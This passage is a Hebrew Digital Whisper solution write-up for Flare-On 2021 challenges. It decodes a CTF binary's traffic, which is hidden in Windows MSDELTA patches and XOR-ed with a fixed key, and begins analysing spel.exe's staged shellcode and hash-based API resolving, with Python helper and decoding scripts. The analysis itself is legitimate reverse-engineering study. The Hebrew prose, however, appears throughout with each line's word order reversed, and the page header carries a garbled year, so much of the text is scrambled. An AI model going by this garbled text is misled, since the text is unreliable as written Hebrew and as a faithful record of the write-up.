 לחפש ננסה. בפועל שמועבר הקובץ מתחיל שכאן להניח ניתן, ולכן, PNG של החתימה הופיעה, הראשונה

 Windows Updateבקובץ מדובר כי ונראה, ויקיפדיה של הקבצים חתימות רשימתב הזו החתימה את

Binary Delta Compression . 

 לטובת ווינדוס של ים'פאצ עם בהתמודדות שעוסק, הזה לבלוגפוסט אותנו מוביל הפורמט של בגוגל חיפוש

 ארכיבי של במבנה ועוסק מאוד מפורט הבלוגפוסט(. diffing-ו בפועל קבצים של חילוץ בעיקר) מחקר

update שני בתוכם מכילים כאלו שארכיבים העובדה הוא מבחינתנו שרלוונטי החלק, בגדול. ווינדוס של 

 . כזה delta קובץ הוא שחילצנו הקובץ. deltas-ו שלמים קבצים - patch files של סוגים

 פשוט הוא null delta, למעשה. null deltas או forward deltas, backward deltas להיות יכולים כאלו קבצים

 .ימתמסו בצורה compressed קובץ
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https://en.wikipedia.org/wiki/List_of_file_signatures
https://en.wikipedia.org/wiki/List_of_file_signatures
https://en.wikipedia.org/wiki/List_of_file_signatures
https://en.wikipedia.org/wiki/List_of_file_signatures
https://en.wikipedia.org/wiki/List_of_file_signatures
https://en.wikipedia.org/wiki/List_of_file_signatures
https://en.wikipedia.org/wiki/List_of_file_signatures
https://en.wikipedia.org/wiki/List_of_file_signatures
https://en.wikipedia.org/wiki/List_of_file_signatures
https://en.wikipedia.org/wiki/List_of_file_signatures
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https://wumb0.in/extracting-and-diffing-ms-patches-in-2020.html
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 MSDELTA-ה דרך, כאלו delta קבצי עם להתממשק מנת על מספק שווינדוס APIs-ה כל את מפרט המאמר

API ,ב שממומש-msdelta.dll: 

 

 יכול, כך אם. לגביהם metadata ואיסוף מידע על שלהם החלה, deltas ליצירת פונקציות מגוון לראות ניתן

 על delta-ה קובץ של החלה ידי על - למעשה, delta קובץ ולאחריו, PNG קובץ מקבלים אנחנו שכאשר להיות

 מצורף למאמר. בפועל payload-ה שהוא הרצה קובץ לקבל נצליח, null delta בתור או PNG-ה קובץ

-ב שימוש באמצעות, הסופי הקובץ את ולקבל delta להחיל לנו שמאפשר, delta_patch.py בשם סקריפט

MSDELTA API .הסקריפט זה: 

from ctypes import (windll, wintypes, c_uint64, cast, POINTER, Union, c_ubyte, 

LittleEndianStructure, byref, c_size_t) 

import zlib 

 

# types and flags 

DELTA_FLAG_TYPE             = c_uint64 

DELTA_FLAG_NONE             = 0x00000000 

DELTA_APPLY_FLAG_ALLOW_PA19 = 0x00000001 

 

# structures 

class DELTA_INPUT(LittleEndianStructure): 

    class U1(Union): 

        _fields_ = [('lpcStart', wintypes.LPVOID), 

                    ('lpStart', wintypes.LPVOID)] 

    _anonymous_ = ('u1',) 

    _fields_ = [('u1', U1), 

                ('uSize', c_size_t), 

                ('Editable', wintypes.BOOL)] 

 

class DELTA_OUTPUT(LittleEndianStructure): 

    _fields_ = [('lpStart', wintypes.LPVOID), 

                ('uSize', c_size_t)] 

 

# functions 

ApplyDeltaB = windll.msdelta.ApplyDeltaB 

ApplyDeltaB.argtypes = [DELTA_FLAG_TYPE, DELTA_INPUT, DELTA_INPUT, 

                        POINTER(DELTA_OUTPUT)] 

ApplyDeltaB.rettype = wintypes.BOOL 

DeltaFree = windll.msdelta.DeltaFree 

DeltaFree.argtypes = [wintypes.LPVOID] 

DeltaFree.rettype = wintypes.BOOL 

gle = windll.kernel32.GetLastError 

 

def apply_patchfile_to_buffer(buf, buflen, patchpath, legacy): 

    with open(patchpath, 'rb') as patch: 
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        patch_contents = patch.read() 

 

    # some patches (Windows Update MSU) come with a crc32 prepended to the file 

    # if the file doesn't start with the signature (PA) then check it 

    if patch_contents[:2] != b"PA": 

        paoff = patch_contents.find(b"PA") 

        if paoff != 4: 

            raise Exception("Patch is invalid") 

        crc = int.from_bytes(patch_contents[:4], 'little') 

        patch_contents = patch_contents[4:] 

        if zlib.crc32(patch_contents) != crc: 

            raise Exception("crc32 check failed. Patch corrupted or invalid") 

 

    applyflags = DELTA_APPLY_FLAG_ALLOW_PA19 if legacy else DELTA_FLAG_NONE 

 

    dd = DELTA_INPUT() 

    ds = DELTA_INPUT() 

    dout = DELTA_OUTPUT() 

 

    ds.lpcStart = buf 

    ds.uSize = buflen 

    ds.Editable = False 

 

    dd.lpcStart = cast(patch_contents, wintypes.LPVOID) 

    dd.uSize = len(patch_contents) 

    dd.Editable = False 

 

    status = ApplyDeltaB(applyflags, ds, dd, byref(dout)) 

    if status == 0: 

        raise Exception("Patch {} failed with error {}".format(patchpath, gle())) 

 

    return (dout.lpStart, dout.uSize) 

 

 

if __name__ == '__main__': 

    import sys 

    import base64 

    import hashlib 

    import argparse 

 

    ap = argparse.ArgumentParser() 

    mode = ap.add_mutually_exclusive_group(required=True) 

    output = ap.add_mutually_exclusive_group(required=True) 

    mode.add_argument("-i", "--input-file", 

                      help="File to patch (forward or reverse)") 

    mode.add_argument("-n", "--null", action="store_true", default=False, 

                      help="Create the output file from a null diff " 

                           "(null diff must be the first one specified)") 

    output.add_argument("-o", "--output-file", 

                        help="Destination to write patched file to") 

    output.add_argument("-d", "--dry-run", action="store_true", 

                        help="Don't write patch, just see if it would patch" 

                             "correctly and get the resulting hash") 

    ap.add_argument("-l", "--legacy", action='store_true', default=False, 

                    help="Let the API use the PA19 legacy API (if required)") 

    ap.add_argument("patches", nargs='+', help="Patches to apply") 

    args = ap.parse_args() 

 

    if not args.dry_run and not args.output_file: 
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        print("Either specify -d or -o", file=sys.stderr) 

        ap.print_help() 

        sys.exit(1) 

 

    if args.null: 

        inbuf = b"" 

    else: 

        with open(args.input_file, 'rb') as r: 

            inbuf = r.read() 

 

    buf = cast(inbuf, wintypes.LPVOID) 

    n = len(inbuf) 

    to_free = [] 

    try: 

        for patch in args.patches: 

            buf, n = apply_patchfile_to_buffer(buf, n, patch, args.legacy) 

            to_free.append(buf) 

 

        outbuf = bytes((c_ubyte*n).from_address(buf)) 

        if not args.dry_run: 

            with open(args.output_file, 'wb') as w: 

                w.write(outbuf) 

    finally: 

        for buf in to_free: 

            DeltaFree(buf) 

 

    finalhash = hashlib.sha256(outbuf) 

    print("Applied {} patch{} successfully" 

          .format(len(args.patches), "es" if len(args.patches) > 1 else "")) 

    print("Final hash: {}" 

          .format(base64.b64encode(finalhash.digest()).decode())) 

 מה ונבדוק, שלנו PNG-ה קובץ על delta ובתור null delta בתור שלנו delta-ה קובץ עם אותו להריץ ננסה

 :null delta בתור delta-ב שימוש בנסיון נתחיל. שמתקבל המידע

 

 כל קודם ננסה, מדוע להבין של rabbit hole-ל להיכנס להתחיל במקום. נכשל הנסיון, לראות שניתן כפי

 :input בתור PNG-ה קובץ עם מצליח זה האם לראות

 

 . הצליח זה, מגניב
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 (:PE קובץ או shellcode) בפועל payload כמו נראית היא האם ונבדוק hex editor-ב התוצאה על נסתכל

 

 אך, IDA-ב אותו נפתח. המדוברת הנוזקה של second stage-ה אכן שזה נראה. ביד PE קובץ לנו יש. פגז

 אופי לגבי כללי מושג לקבל כדי, בהסנפה השנייה השיחה על נסתכל, שלו לניתוח שנצלול לפני רגע

 :הבינארי של ברברסינג לנו שיעזור, ההתקשרות

ME0W........PA30.^!.w....#......z....&\9pc...zILh2....r1<...B..m.

.e...J.vy".....+...X.e.\>.9r.j..F./zl.3.B.%G.Bh....+3.t....^)....

sg..>mnr/..G...k.........tj..iq..U.h...p.X%J.D.".0..ipV.....>.ME0

W...'...PA30..I.w....#......F...S..8.1..x...R..ME0W:...Y...PA30.v

..w....#..........S..8.1.w#..eqg#...Ftu...W.z......N.......3.4...

...E.c.....*;..p.gME0W....)...PA300._w....#......N..6..iq..U.U...

.(.3ME0W........PA30p..w....#.........6..iq..U.U..%qa.].3&lh.....

R...^.DIRDIW].%.....$C...t.....=.......6....W*....4.p>......#@..D

.g...#Z.......G..6#......3z...a..6mf........,..#.tD.....H.7..##..

.p`{.|....t......3ME0W....#...PA30@$9w....#........!............M

E0W........PA30.u.w....#........`.....+..........@8.)#.3...#...#}

.#.......+...9"vE..l..bv,,.74}uD.......M.F..(.........ve.Z.U..A..

........b.3..!.......tL......C.n.........Awt.1..[.....0..eZt2...1

6....,.....$Q<l..+1.6V.bF#......=..P..<jHN..@_>d..I.._5Y....'....

.I.........k...e.....po.........|.j.D.D..>...z..M.<.{.......e.>h.

T.-/X....o...;.&....x..M.'@...../.kH../.X...)..!.Y....H /4Y...../ 

T....v.{....w[..'......H..]5.......x.....D.........=...)....r.'Vs 

........@......Y.i.I.. W. 

 הבינארי את כעת נרברס. שונים deltas קבצי ביניהם מעבירים השונים שהצדדים נראה, לראות שניתן כפי

 עלינו קובץ איזה ועל, קידוד רמת עוד יש האם, הללו delta-ה בקבצי מקודד מידע איזה להבין במטרה, עצמו

 . המקורי התוכן את לקבל מנת על הללו deltas-ה את להחיל

 . deltas-ה והחלה יצירת - נוחה מנקודה שלנו המחקר את להתחיל נוכל, deltas-ב שמדובר ההבנה בזכות
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 API-ה בפונקציות שימוש יש אכן כי ונראה, msdelta הסטרינג את IDA-ב הבינארי של imports-ב נחפש

 :קודם עליהן שקראנו

 

 :delta-ה נוצר שממנו המקורי המידע מה לבדוק מנת על, CreateDeltaB-ל שקוראת הפונקציה על נסתכל

 

 קורא מי ונבדוק מתאים שם לה ניתן. CreateDeltaB-ל הקריאה את עוטפת כ"בסה הזו שהפונקציה נראה

 :לה
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 לאחר סוקט מעל שנוצר delta-ה את שולחת wrap_create_delta-ל שקוראת הפונקציה, לראות שניתן כפי

 :delta-ה עבור שהוגדרו target-וה source-ה ערכי מה כעת נבחן. הקריאה

 

 מועברים לפונקציה. מהר מאוד מתבהרת ההתנהגות, הלוקאלים למשתנים טובים שמות בחירת ידי על

 בונה מכן ולאחר, קבוע מפתח עם XOR באמצעות Buffer-ה את מקודדת היא(. גודל+  מצביע) Buffer-ו סוקט

delta הבינארי ידי על שנשלח המידע את לפענח להצליח מנת על, כך אם. כלשהו גלובלי ערך לבין בינו ,

 .delta-ה נוצר שממנו source-ה ואת XOR-ה מפתח את - דברים שני למצוא נצטרך

 :מראש מאותחל הוא האם ונבדוק פעמיים הגלובלי הערך על נלחץ. XOR-ה מפתח עם נתחיל

 

 :delta-ה של source-ה על נסתכל, כעת". meoow" בסטרינג שמדובר נראה. מגניב

 

 :אותו שמגדיר בבינארי אליו xref נחפש, ולכן, מראש מאותחל לא שהוא נראה
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 יכול. CreateDeltaB או ApplyDeltaB שעושות פונקציות הם הזה הערך אל xrefs-ה שכל מסתמן. מוזר

 ונמצא, memory-ב לפניו קצת שנמצאים לערכים xrefs נחפש? יותר גדול מבנה של member שהוא להיות

 :מעניין רפרנס

 

-ל הקריאה היא אותנו שמעניינת הקריאה. מסוים window-ל בהודעות מטפלת הזו שהפונקציה נראה

GetObjectA ,ל כותבת דבר של שבסופו-bitmap אובייקט bitmap מה שנטענה תמונה של-resources של 

 :בנוי הוא כך כי ונראה, המבנה של בתיעוד נסתכל. הבינארי

typedef struct tagBITMAP { 

  LONG   bmType; 

  LONG   bmWidth; 

  LONG   bmHeight; 

  LONG   bmWidthBytes; 

  WORD   bmPlanes; 

  WORD   bmBitsPixel; 

  LPVOID bmBits; 

} BITMAP, *PBITMAP, *NPBITMAP, *LPBITMAP; 

 raw data-ה כלומר, bmBits למעשה הוא source_data-ש נראה, בזכרון לערכים fields של התאמה ידי על

 להחיל נוכל ועליו, PE-מה הרלוונטי resource-ה את לחלץ כ"בסה נצטרך, כך אם. בפועל bitmap-ה של

deltas הערך עם קידוד אחרי, כמובן. שנשלח המידע כל של דאמפ לעצמנו לייצר כדי מההסנפה "meoow ,"

 :resource-ה את לחלץ מנת על 7zip-ב נשתמש. שלו המקורי בפורמט המידע את נקבל
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 :הבאה התמונה הוא resource-ה כי נראה

 

 על delta-כ אותה ולהחיל, המדוברת בשיחה שלחה 139 שמכונה הראשונה ההודעה את לקחת ננסה, כעת

 ":meoow" עם אותה לקסר, מכן ולאחר, שחילצנו BMP-ה

 

 .cmd של output כמו נראה. מגניב
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 שמכילות הודעות ויחפש, 139 מכונה ידי על שנשלחו ההודעות כל את עבורנו שיפענח קטן סקריפט נכתוב

 :דגל בתוכן

import os 

 

deltas 

="""4d4530578b000000b400000050413330f05e210377a0d7011823c0b29f0b01017a0296071326

5c397063c490b37a494c6832e6c0899d72313c19b0e7428f036db91a65ca93ad4aa37679220ce815

c2812b17aef458d065a95c3e1b3972b56a97af462e2f7a6cb833e242832547b94268d0e5ca882b33

da7418d194a95e291fdab4d57367c2803e6d6e722f9ace47cd91116bd91fa12eabc2b48b96746a2e

a26971a3c155b46806ece870fe58254ae144ff22a530faa8697056d9010080d23e03 

4d4530573a0000005900000050413330c076ad0777a0d7011823c0b29f0b01010e019113531acc38

d131a0772306ec6571672392051746747518d7a5578c7a8992b8b0e2ce4ef4ed8816cc8a1b33ce34

e88b14c789fb458a63c4842e03962a3b000070e467 

4d45305701020000d901000050413330c0759e0d77a0d7011823c0b29f0b01011c0e60c0b29f8303

2ba21901000000000080024038c02923833316b38823e18a9d237d892300b981f3aef8d02b1f1ac7

39227645aef76cdec762762c2cc237347d7544d3d11fb4ebd3114d0346f78e28abc3c3e99abb16cd

b57665e55a9755ebeb417fd0019102d11f95b918620833848b21c618c50e89a1ec744caaf61c1ac6

d6439a6e159c13dbeed1991b854177741131c9c55bd3f394e12dd330e6c1655a7432b71d1c3136e1

e3e71c2ca01d060fe924513c6c9f192b31d03656956246230c12a6bbc2843d02b55001a53c6a484e

9ec3405f3e64081049be985f3559d1dcf6dc27ad14e5068149e62e08139004f5810e6bdef5e665bf

e0dfdf94706fdb2d971e022e028bd81c7c896aa44402449b913e188dac7a05b44d173c2e7bbafd90

a5f7bc9265a03e68f854ba2d2f58f501b3106fc784f53bb926be177ff878b1854df32740911903d0

de2f936b48d6a82fa558f9feab29020421825919b9f0b548202f3459868d1ccd912f54abb7aaa876

137bae1f8181775bd79227e0ffead0191848a7da5d35d8bb94d0ccc22de178058aa310b644e21c9c

acc3a881bf8c3dc3e5f429e506fce27203277653cfb0d0d3c48918fe400686e3c5e4c459b669a149

a0022057cf 

4d453057420000005b00000050413330b0ccd61577a0d7011823c0b29f0b0101160190194de55ae5

6b572342206726ec19f1e0a8c3b82ebd62d44b94c485157776a239d161c05eb46056dc9871a6415f

a4384edc2f521c23267419b014fd824054770000e0c6cf 

4d4530572403000044020000504133303044831777a0d7011823c0b29f0b0101741167c0b29f03c0

3a9b190100000000000032444440aaa243343bf1d971134b1bd2d469ec204e23ae63e41ec4d29c26

8e03445dcbadb8f039719c4a0cb894545e1daac9e80fb2eb5d264bb597e93278085926ebd5a7d3e8

95e92fd31ebd4f97ae7cf4c8cabe5a745ff487164381990260b0c08cfea80743100c3304c3028131

c31c6e490e761d421633b07eb6708d4a7694ccfd9770053fca574ec6e34724e414bb3e656163d364

4c01c431eb13e4098fda955b7c523cfb6131f735203a0804e8df89252157944b681062acf536c8c4

615974b9202d3b4558f83013731899a597233fc34a45ddbd9d57d3d14bc997a1810703727399e68b

f8bce763fe37e1ee3c3fae94dabfdbaada00748500bd1514c56db2ec07fc9dfb05ebd3b9f9c08a2f

83637b3719ddb4f5349b11854ed37243bc88e81037d578b148a94b92b440287251de06d08ca5eed1

528118794c98a8aed2a7c70ae88b83f83e5d28a65e3aaecd4a361b6508d43ec881d868e759e56a1c

56862ed6e13e5e8254482d3e81743836b785d2d266921a6aad5683a3699aa1ad1a696b681bc0d251

af9e54ca7a68e463503ffd3e20fb8f1f23f2c975ad64c0bf51871893287a830d09f7d4b2638172e2

8419cab453b04be02d042f5589df68f4c8046e60dcbe421c854b71c11ef2b2021488f8a86e50a15d

f7ae781b2c312114fac80c6c77b90fbbd36a72ec9f9709c33721c69b4f19b5fdd669516762157af1

14abaae0530853c973cf31bd9427ecf2755731a40c27cfad8d6ce000c01c9e01 

""".split("\n") 

 

key = 'meoow' 

 

deltas = map(lambda delta: delta.decode('hex')[12:], deltas) 

 

for delta in deltas: 

    with open('delta.bin', 'wb') as f: 

        f.write(delta) 

 

    os.system('py delta_patch.py -i 102.bmp -o res.bin delta.bin') 

 

    with open('res.bin', 'rb') as f: 

        ciphertext = f.read() 

        plaintext = ''.join(map(lambda (v, k): chr(ord(v) ^ ord(k)), 

zip(ciphertext, key * (len(ciphertext) / len(key))))) 

 

        if '@flare-on.com' in plaintext: 

            print plaintext 
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 :מעניין משהו מצא הוא כי נראה מאוד ומהר, הסקריפט את נריץ

 

 :הדגל את נגיש. דגל מצאנו! מגניב

on.com-1m_H3rE_Liv3_1m_n0t_a_C4t@flare 

 .הנכון הדגל אכן זהו כי ונראה

 לימד, לכן קודם הכרנו שלא Windows של מסוים אספקט בתוכו כלל הוא - מגניב ממש היה הזה האתגר

 הניתוח, כן כמו. MS deltas עם מתממשקים וכיצד, בגדול עובדים ווינדוס של updates קבצי כיצד אותנו

 זמן המון לחסוך ניתן כיצד הראה בינארי לניתוח תעבורה ניתוח בין היברידית גישה על ברובו שהתבסס

 .בו מלאה והתמקדות העיקר זיהוי ידי על, שלם בינארי של רברסינג של מיותר
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  Spel - 9 אתגר

Pro-tip: start disassembling this one then take a nice long break, you've earned it kid. 

 :הבא הממשק את נראה, אותו כשנריץ. spel.exe שנקרא לווינדוס הרצה קובץ מקבלים אנחנו, זה באתגר

 

 מחדש הרצות מספר לאחר גם. מחדש להריץ וצריך, התכנית בהרצת שגיאה שהייתה מסתמן, לכאורה

 מדובר האם להבין מנת על IDA באמצעות הבינארי לתוך נצלול, לכן. מופיעה המדוברת שהשגיאה נראה

 .לא או מתוכננת בשגיאה

 MFCשל פונקציות למגוון רפרנסים מראה התכנית של WinMain-ה פונקצית על כללית הסתכלות

(Microsoft Foundation Class) ,תשתית OOP שנוטים, ווינדוס של יוזרמוד ממשקי מגוון שעוטפת 

 :מורכבים משתמש ממשקי עבור בעיקר בה להשתמש

 

 הרבה להתעמת נצטרך, ולכן, יות-OOP שהן העובדה הוא MFC אפליקציות של ברברסינג המהותית הבעיה

 במקביל לשלב נצטרך, לכן. שנראה קריאה בכל רצה פונקציה איזה בדיוק להבין מורכב ויהיה, vtables עם

 .מסוים דינמי ניתוח גם, הסטטי לניתוח
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 מה את לנתח ממנו ולהתחיל, IDA-ב השגיאה של String-ה את למצוא היא, הניתוח את להתחיל נוחה דרך

. בסביבה פאק או מתוכננת התנהגות זו האם להבין כדי, שלה בסביבה שקורה מה ואת לשגיאה שהוביל

 :מאוד מהר המדובר הסטרינג את למצוא שאפשר נראה

 

 :יחידה פונקציה ונמצא, עבורו xrefs-ה על נסתכל

 

 הטקסט בתור הזו השגיאה הודעת את השאר בין ומגדירה, מסוים חלון מאתחלת הזו שהפונקציה מסתמן

 :מסוים טקסט איזור של

 

 

 :הבאה השגיאה את נראה. כעת אליה xrefs עוד ונחפש, error_function השם את הזו לפונקציה ניתן
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 מגוון יש? אותו שמציגה לפונקציה xrefs שאין הגיוני זה איך, בפועל מוצג הזה הסטרינג את רואים אנחנו אם

 פונקציה ויש, בשימוש לא באמת הזו שהפונקציה להיות יכול. הזו ההתנהגות את להסביר שיכולות תאוריות

 כחלק set text-ל בנפרד וקוראת בזכרון אותו מוצאת או ריצה בזמן הזה הסטרינג את שמקודדת אחרת

 . סביר כזה לא זה אבל, מסוימת מאובפוסקציה

 לא ida ופשוט, מסוימת מחלקה של vtable-מ חלק היא הזו שהפונקציה היא, סבירה יותר שהיא תאוריה עוד

 בצורה התפרשו vtables-ה כל האם ונראה rdata section-ל נקפוץ, זאת לסדר מנת על. אותה זיהתה

 :IDA ידי על מסודרת

 

 נצטרך ולכן, ככאלה IDA ידי על התפרשו לא text section-ב כתובות שהמון נראה אכן, מהירה מהסתכלות

 . אותנו שמעניינת הפונקציה עבור xref-ה את למצוא מנת על זאת לסדר
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 :הבאה בצורה, qword בתור כזו בכתובת ראשון בית כל להגדיר היא, זאת לעשות הפשוטה הדרך

 

 ניתוח להמשיך מכן לאחר סזיפי מאוד וכמובן, rdata section-ה כל על זאת לעשות סזיפי מאוד וזה מאחר

 . דינמי לניתוח נפנה(, סיוט די זה וירטואליות קריאות של סטטי ניתוח) הזו מהנקודה סטטי

 של טקסט בתור error message-ה את שמגדירה שאיתרנו בנקודה breakpoint ונשים, x64dbg נפתח

 . בחלון מסוים טקסט איזור

 בה נטען שלנו שהבינארי הבסיס כתובת את ניקח, BP לשים נרצה שבה הוירטואלית הכתובת את למצוא כדי

 :memory map-מה x64dbg-ב

 

 BP-ה להיות אמור שבה סופית הכתובת מה ונסתכל, זו כתובת לפי IDA-ב לבינארי rebase נעשה, מכן לאחר

 :שלנו
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 :לרוץ לתכנית וניתן, BP בה נשים, אליה נקפוץ כעת

 

 מעניינים דברים לאתר לנסות כדי הדיבאגר של call stack-ה על נסתכל, breakpoint חוטפים שאנחנו ברגע

 :לשגיאה להוביל היו שעשויים

 

 אתחול פונקציות הן הפונקציות כל שכמעט נראה, הזו בנקודה call stack-ב פונקציה כל על במעבר

 לפונקציה מגיעים שאנחנו עד, השגיאה דיאלוג את לאתחל כדי בשימוש היו הנראה שככל, דיאלוגים

 :מאוד חשודה שנראית, השגיאה דיאלוג לאתחול שקוראת
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, VirtualAllocExNuma של הכתובת את ריצה בזמן מאתרת היא, השגיאה דיאלוג סגירת שלאחר נראה

, לאתגר ממש רלוונטיים שלא אספקטים עם, זכרון של לאלוקציה ית-low-level יחסית WinAPI פונקציית

 מאפשרת, כלומר, חופשית בשליטה protection הרשאות עם זכרון לאלקץ מאפשרת שהיא לכך מעבר

 .ריצה בזמן להרצה שמוגדרים דפים לאלקץ

 אנחנו) IDA-ב הזו לכתובת נקפוץ. מידע המוןב המחסנית על גדול Buffer מאתחלת הפונקציה, כן אחרי

 :הבא CFG-ה את ונראה, לכן קודם שביצענו rebase-ה בזכות חופשי עכשיו זה את לעשות יכולים

 

 את לראות אפשר שאי ברמה, ענק באמת המחסנית על שם מאתחלת שהפונקציה Buffer-שה נראה, לול

 רצף את ונראה, שלו האתחול שאחרי לחלק קדימה הרבה נקפוץ. גודלו בשל CFG-ב המדובר הצומת

 :הבא הקריאות

 

 מכן ולאחר, מהמחסנית-Buffer ה את אליהם מעתיקה, RWX שהם דפים רצף מאלקצת שהפונקציה מסתמן

 .שאולקצו בדפים 2 לאופסט קופצת
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 כל שיתחיל מנת על אותו לסגור צריכים אנחנו - צפויה היא בחלון רואים שאנחנו שהשגיאה נראה, כך אם

  האמיתי הכיף

 מנת על כעת לנתח נרצה שאותו, second stage השגיאה דיאלוג סגירת לאחר טוען הבינארי, שראינו כפי

 של החזרה בנקודת כעת BP נגדיר, זאת לעשות מנת על. בפועל עושה התכנית מה להבין

VirtualAllocExNuma: 

 

-ב שנשים בזמן, הוראה אחר הוראה ההרצה אחר ונעקוב, הדיאלוג את נסגור, לרוץ לבינארי ניתן, כעת

memory dump window מ לקחת ניתן שאותה, שאולקצה הכתובת את-rax: 
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 :רגיל PE בינארי לנו מופיע, לאחריו מיד. מסוים Shellcode לנו מופיע, ראשית, לראות שניתן כפי

 

 הסקשנים את למפות, לזכרון הבינארי את לטעון דואג בהתחלה רואים שאנחנו Shellcode-שה להניח ניתן

 של entry point-ל לקרוא, מכן ולאחר, relocations ולתקן imports לרזלב, וירטואליות בכתובות שלו

 ניתן, dump לעשות מנת על. IDA-ב אותו לפתוח וננסה, כאן רואים שאנחנו לבינארי dump נעשה. הבינארי

 :dump to file לו ולעשות, memory map-ב הזה הזכרון את לפתוח
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 PE-ה קובץ את ונפתח, בהתחלה שמופיע Shellcode-ה כל את hex editor באמצעות נעיף, dump-ה לאחר

 :IDA-ב עמו שנותרנו

 

 על נוספת פעולה מבצע מכן ולאחר, זכרון של גדול מקטע על מסוימת פעולה מבצע המדובר PE-שה נראה

 :המדובר הזיכרון מקטע על נסתכל. קופץ הוא אליה פונקציה של כתובת שמחזירה, המקטע
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 ...PE קובץ עוד, לול

 

-ל זהה בצורה מתנהג שהוא בוודאות כמעט להניח ואפשר, בפועל DLL-ה של הקוד את לנתח מיותר

Shellcode כעת נעשה. קודם שתיארתי dump סקריפט באמצעות לקובץ הזה זכרון למקטע IDAPython 

 :קטן
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 :גם IDA-ב הזה הבינארי את נפתח, כעת

 

 רואים אנחנו. בפועל אותנו שמעניין payload-ה שזה להיות ויכול, יותר מעניין שלו entry point-שה נראה

 import פונקציות הנראה ככל שהן, מוזרים מספרים ומקבלות פונקציות שמחזירות לפונקציות קריאות המון

resolving בדיבאגר להגיע כעת ננסה. עצמן המעניינות לפונקציות קריאות ועוד, האשים בסיס על דינמיות 

 .דינמית כאן קורה מה ולהבין בקוד הזה לחלק

. הבא payload-ב BP ולשים payload של חילוץ כל אחרי לעקוב - הראשונה, אפשריות גישות שתי כאן יש

 היא, השנייה הגישה. ניתוח עוד מאיתנו ידרוש זה, third stage-ה של החילוץ את לעומק ניתחנו ולא מאחר

 את סוגרים שאנחנו שמרגע הוא, הבינארי את כשמריצים לב אליו לשים שאפשר משהו. דרך קיצור לחפש

 אחד במהלך שיש תאוריה לחזק יכולה הזו ההתנהגות. זמן המון למשך לרוץ ממשיך הוא, השגיאה דיאלוג

 ויש היטב ניחשנו אם. הבינארי את שמשהה אחרת פונקציה או Sleep, SleepEx-ל קריאה payloads-ה

, הדיבאגר את נרים, הזו הגישה את ננסה. בקלות אותו לאתר נוכל, השלישי payload-ב כזו לפונקציה קריאה

 :קורה מה ונראה, השגיאה דיאלוג את נסגור, המצויינת בפונקציות BPs נשים

 



 
 

 Flare-On 2021 פתרון אתגרי
www.DigitalWhisper.co.il 

 85  4243 נובמבר ,357גליון 
 

 שעברה כזו לפונקציה קריאה, כלומר, rax מהרגיסטר SleepEx-ל קריאה תופסים אכן אנו, לראות שניתן כפי

dynamic resolving .ה בתוך הזו לפונקציה שקרא המקטע את לאתר ננסה-payload חיפוש ידי על השלישי 

 :בדיבאגר מהרצה שהשגנו האופקודים סמך על IDA-ב בתים

 

 הפונקציה את נתייג. שלנו third stage payload-ב באמת נמצא המדובר שהקוד להבין ניתן, כך אם

 נמצא, Sleep-ה זמן משך) שלה הראשון הפרמטר את נגדיר בדיבאגר ודינמית, SleepEx-כ IDB-ב הרלוונטית

 . ההשהייה לאחר התכנית בהמשך קורה מה לראות שנוכל כדי, מאוד קצר זמן להיות( rcx-ב

 :FatalExit-ל לקריאה מגיעים שאנחנו ונראה, שורה אחר שורה הקוד את נדבג

 

 אנחנו ואיך, FatalExit-ל הגענו למה להבין מנת על הזה payload-ב שקורה מה את סטטית ננתח, כעת

 לפונקציה השני והפרמטר מאחר קרתה היא כי ונראה, FatalExit-ל הקריאה הייתה היכן נבדוק. זאת מונעים

 :8 היה Sleep-ה אחרי שנקראה

 

 פונקציה אם אחר בערך נדרס והוא, דיפולטיבית 8 להיות מוגדר שהערך ונראה, הקוראת בפונקציה נסתכל

 :1 מחזירה מסוימת
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 :1 להחזיר שאמורה הפונקציה על כעת נסתכל

 

 הסטרינג של הכתובת את מוצאת, אליה שמועבר-Buffer מ מסוימת מחרוזת לוקחת זו שפונקציה נראה

 מעבירה מכן לאחר, המחסנית על אחר סטרינג לתוך הסופי החלק את מעתיקה, הבא האחרון" \" מתו החל

 עם אחרת או כזו בצורה שלו הערך התוצאה את משווה, כן ואחרי, ההפעלה מערכת של כלשהו API-ל אותו

 שהוא ונראה, המפוענח הסטרינג מה שיימצא קטן פייתון סקריפט נכתוב. ריצה בזמן מפענחת שהיא סטרינג

 ":Spell.EXE" הערך

 

 מערכת של API לאיזה להבין ננסה, כך לשם. מגיע הוא ומאיפה, מושווה הוא ערך לאיזה להבין ננסה, כך אם

 . משם ההרצה אחר ולעקוב הרלוונטי במקום BP לשים שנוכל מנת על איתו קוראים ההפעלה
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 אלגוריתם את להבין שנוכל כך, ההאשים מבוססת הדינמי resolving-ה פונקצית את ננתח, כך לשם

 של רשימה עבור, פונקציה של לשם פונקציה של האש בין לנו שממפה rainbow table ונבנה ההאשינג

 :מחושב הוא שכך ונראה, ההאש של למימוש שנגיע עד IDA-ב פנימה נעקוב. נפוצות פונקציות

 

 ויבנה, ווינדוס של ים-DLL ממגוון פונקציות רשימת על המדובר ההאש את שיחשב קצר סקריפט לכתוב ניתן

 :בפועל שנקראה הפונקציה את לנו שיש מההאש לקבל מנת על איתו לעבוד שנוכל, rainbow table לנו

def rol(val, n): 

    return ((val << n) | (val >> (32 - n))) & 0xffffffff 

 

def hash(fname): 

    h = 0 

    for c in fname: 

        h = ord(c) ^ rol(h, 7) 

    return h 

 

rtable = {} 

 

with open('funcs.txt', 'r') as f: 

    for line in f: 

        fname = line.replace('\n', '') 

        rtable[hash(fname)] = fname 

 להבין כדי בידינו שיש rainbow table-ב להשתמש ונוכל, כלשהו פייתון REPL-ב זה הסקריפט את נריץ, כעת

 :מתמפה( 0x2D40B8E6) שראינו hash-ה API לאיזה

 

 BP נשים, כך אם. שהעתקנו מהסטרינג שנשאר החלק על strlen-ב שמדובר באמת שכל עושה, מגניב

 :הרלוונטי למקטע שנגיע עד בדיבאגר לרוץ לבינארי וניתן, lstrlenA בפונקציה
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-ה של השם, spel.exe בעצם הוא, Spell.EXE-ל כאן שמושווה שהסטרינג הדיבאגר באמצעות לראות ניתן

image ה של השם את להחליף מאיתנו שמצפים להיות יכול. הבינארי של-image ל-Spell.EXE ?ננסה בואו .

 שעניין הערך האם נבדוק וכעת, SleepEx-ל לקריאה עד שוב, הבינארי את מחדש נריץ וכעת, השם את נחליף

 :אחר לערך 8-מ השתנה עכשיו אותנו

 

 הבינארי וכעת, המדוברת הבדיקה את עברנו הנראה ככל, כלומר, 0 הערך את קיבלנו שכעת נראה! נהדר

 .אחר משהו יעשה אלא, יקרוס לא

